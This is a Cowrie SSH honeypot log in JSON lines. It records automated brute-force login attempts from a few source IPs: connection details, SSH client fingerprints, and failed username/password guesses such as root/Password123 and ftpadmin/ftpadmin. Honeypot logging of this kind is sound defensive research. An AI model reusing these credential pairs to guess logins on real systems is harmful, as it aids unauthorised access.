{"eventid":"cowrie.login.failed","username":"ftpadmin","password":"ftpadmin","message":"login attempt [ftpadmin/ftpadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:50.871506Z","src_ip":"141.11.88.14","session":"709d6daaeaf2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:51.987485Z","src_ip":"141.11.88.14","session":"709d6daaeaf2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":56770,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a8f85e23311","protocol":"ssh","message":"New connection: 41.86.34.139:56770 (10.17.0.5:22) [session: 0a8f85e23311]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:52.459236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:52.463658Z","src_ip":"41.86.34.139","session":"0a8f85e23311","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:52.671586Z","src_ip":"41.86.34.139","session":"0a8f85e23311","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"michael","password":"michael123","message":"login attempt [michael/michael123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:53.537229Z","src_ip":"41.86.34.139","session":"0a8f85e23311","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:54.748083Z","src_ip":"41.86.34.139","session":"0a8f85e23311","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":40402,"dst_ip":"159.203.135.109","dst_port":22,"session":"def494bc5a12","protocol":"ssh","message":"New connection: 62.133.62.83:40402 (159.203.135.109:22) [session: def494bc5a12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:56.180367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:56.186257Z","src_ip":"62.133.62.83","session":"def494bc5a12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:56.273932Z","src_ip":"62.133.62.83","session":"def494bc5a12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eleanor1","message":"login attempt [root/eleanor1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:56.518602Z","src_ip":"62.133.62.83","session":"def494bc5a12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:57.599477Z","src_ip":"62.133.62.83","session":"def494bc5a12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":60354,"dst_ip":"10.17.0.5","dst_port":22,"session":"820603e69140","protocol":"ssh","message":"New connection: 141.11.88.14:60354 (10.17.0.5:22) [session: 820603e69140]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:58.345946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:58.502717Z","src_ip":"141.11.88.14","session":"820603e69140","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:58.507046Z","src_ip":"141.11.88.14","session":"820603e69140","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1123","message":"login attempt [root/1123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:46:59.321153Z","src_ip":"141.11.88.14","session":"820603e69140","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:47:00.575584Z","src_ip":"141.11.88.14","session":"820603e69140","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":60416,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b45aad75856","protocol":"ssh","message":"New connection: 141.11.88.14:60416 (10.17.0.5:22) [session: 4b45aad75856]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:47:04.966535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:47:05.050466Z","src_ip":"141.11.88.14","session":"4b45aad75856","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:47:05.175514Z","src_ip":"141.11.88.14","session":"4b45aad75856","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password123","message":"login attempt [root/Password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:47:06.151847Z","src_ip":"141.11.88.14","session":"4b45aad75856","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:47:07.309609Z","src_ip":"141.11.88.14","session":"4b45aad75856","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":33146,"dst_ip":"10.17.0.5","dst_port":22,"session":"670a4dc16862","protocol":"ssh","message":"New connection: 141.11.88.14:33146 (10.17.0.5:22) [session: 670a4dc16862]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:47:11.979609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:47:12.009510Z","src_ip":"141.11.88.14","session":"670a4dc16862","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:47:12.159802Z","src_ip":"141.11.88.14","session":"670a4dc16862","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxsw2","message":"login attempt [root/1qazxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:47:12.650077Z","src_ip":"141.11.88.14","session":"670a4dc16862","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:47:13.738347Z","src_ip":"141.11.88.14","session":"670a4dc16862","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":37490,"dst_ip":"10.17.0.5","dst_port":22,"session":"6259b9fbdeea","protocol":"ssh","message":"New connection: 141.11.88.14:37490 (10.17.0.5:22) [session: 6259b9fbdeea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:47:18.260945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:47:18.266878Z","src_ip":"141.11.88.14","session":"6259b9fbdeea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:47:18.595701Z","src_ip":"141.11.88.14","session":"6259b9fbdeea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nPSpP4PBW0","message":"login attempt [root/nPSpP4PBW0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:47:19.266272Z","src_ip":"141.11.88.14","session":"6259b9fbdeea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:47:20.467292Z","src_ip":"141.11.88.14","session":"6259b9fbdeea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":37518,"dst_ip":"10.17.0.5","dst_port":22,"session":"6aa8f784d625","protocol":"ssh","message":"New connection: 141.11.88.14:37518 (10.17.0.5:22) [session: 6aa8f784d625]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:47:25.646472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:47:25.694412Z","src_ip":"141.11.88.14","session":"6aa8f784d625","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:47:25.789441Z","src_ip":"141.11.88.14","session":"6aa8f784d625","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12","message":"login attempt [ubuntu/12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:47:26.396548Z","src_ip":"141.11.88.14","session":"6aa8f784d625","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:47:27.515883Z","src_ip":"141.11.88.14","session":"6aa8f784d625","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":19166,"dst_ip":"10.17.0.5","dst_port":22,"session":"aecf3820d3fb","protocol":"ssh","message":"New connection: 141.11.88.14:19166 (10.17.0.5:22) [session: aecf3820d3fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:47:31.957415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:47:32.489437Z","src_ip":"141.11.88.14","session":"aecf3820d3fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:47:32.493570Z","src_ip":"141.11.88.14","session":"aecf3820d3fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"toto","password":"toto","message":"login attempt [toto/toto] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:47:35.484271Z","src_ip":"141.11.88.14","session":"aecf3820d3fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:47:36.830702Z","src_ip":"141.11.88.14","session":"aecf3820d3fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":53496,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a1532248181","protocol":"ssh","message":"New connection: 141.11.88.14:53496 (10.17.0.5:22) [session: 0a1532248181]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:47:39.947551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:47:40.014210Z","src_ip":"141.11.88.14","session":"0a1532248181","protocol":"ssh"}
